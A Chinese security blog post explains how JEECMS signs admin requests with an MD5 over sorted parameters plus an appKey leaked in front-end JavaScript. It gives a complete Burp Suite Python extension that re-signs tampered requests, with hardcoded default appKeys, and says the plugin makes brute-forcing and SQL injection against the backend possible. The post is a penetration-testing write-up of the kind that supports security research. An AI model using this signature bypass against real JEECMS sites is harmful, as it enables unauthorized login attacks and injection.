BurpSuite插件:JEECMS签名助手
题外话
18年想提高一下自己的代码审计能力,重点放在Java系和Python系。Java是我入门学习的第一门语言也是大学陪伴最久的,会一直爱下去。Python是我用的最多最喜欢的,Python是世界上最好的语言。
起因&签名分析
写这个插件的原因是在测试JEECMS后台时,用BurpSuite修改了一个参数的,在返回结果中看到提示了签名错误,如下图:
很明显这里后端对参数做了签名验证,其中请求中对参数sign就是签名的hash. 于是Debug来看看。
先修改参数:
通过下断点,发现后端会将请求参数全部拿来做签名计算,签名计算就是一个MD5计算,其中的appKey会被拼接到字符串后面,然后对字符串做一次MD5计算,这个MD5值会与前端传过来的sign判断是否一致,如果一致则签名判断通过,不一致则说明参数被篡改了。
签名计算方式:
现在唯一的问题就是,随意一个JEECMS的站,那个appKey怎么知道呢?这个Key是admin用户的唯一值,在数据库位置:
我们知道sign是签名hash那么,参数是在前端经过签名的,那么前端一定有这个appKey的值,于是打开F12在JS文件中可以找到这个值。
官方Demo站:
签名插件编写
我们知道了签名校验方式和过程了,现在就知道怎么写这个BurpSuite插件了。
- 将请求参数拦截下来
- 将参数+appKey进行拼接并做MD5计算
- 用新的hash替换参数sign的值
- BurpSuite发出请求,成功返回
编写BurpSuite插件Python版本代码如下:
from burp import IBurpExtender
from burp import IHttpListener
from java.io import PrintWriter
import hashlib
import urllib
print "Hack Jeecms Sign By Nerd."
class BurpExtender(IBurpExtender, IHttpListener):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Hack JeeCMS Sign")
callbacks.registerHttpListener(self)
self.stdout = PrintWriter(callbacks.getStdout(), True)
self.stderr = PrintWriter(callbacks.getStderr(), True)
callbacks.issueAlert("Loaded Successfull.")
def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest):
if messageIsRequest:
requestInfo = self._helpers.analyzeRequest(currentRequest)
self.headers = list(requestInfo.getHeaders())
hook_host = requestInfo.getUrl().getHost()
bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]
self.body = self._helpers.bytesToString(bodyBytes)
o,n = self.update_sign(urllib.unquote(self.body))
self.body = self.body.replace(o,n)
print self.body
newMessage = self._helpers.buildHttpMessage(self.headers, self.body)
currentRequest.setRequest(newMessage)
# Process responses
else:
pass
def update_sign(slef, body=""):
try:
old_sign = ""
# defalut appKey
appKey = "Sd6qkHm9o4LaVluYRX5pUFyNuiu2a8oi"
#appKey = "uicxsXYso7DJxlrFdgQnVVXW5OCzU74h"
hash_param = ""
param_list = body.split("&")
temp_dict = {}
for pa in param_list:
t = pa.split("=")
temp_dict[t[0]] = t[1]
tmmmm = temp_dict.items()
tmmmm.sort()
for (k, v) in tmmmm:
if k == "sign":
old_sign = v
print "old sign = ",v
continue
hash_param += "%s=%s&" % (k, v)
hash_param += "key=" + appKey
sign = hashlib.md5(hash_param).hexdigest()
print "new sign = ",sign.upper()
return old_sign,sign.upper()
except Exception, e:
print e
return "",""
效果
模拟对JEECMS后台进行爆破攻击,没有加载插件之前是这样对效果:全部提示签名错误
加载插件以后:
加载插件后,长度640为签名错误的情况,仅有2次签名错误,通过这个插件就可以爆破,SQL注入等为所欲为的操作了。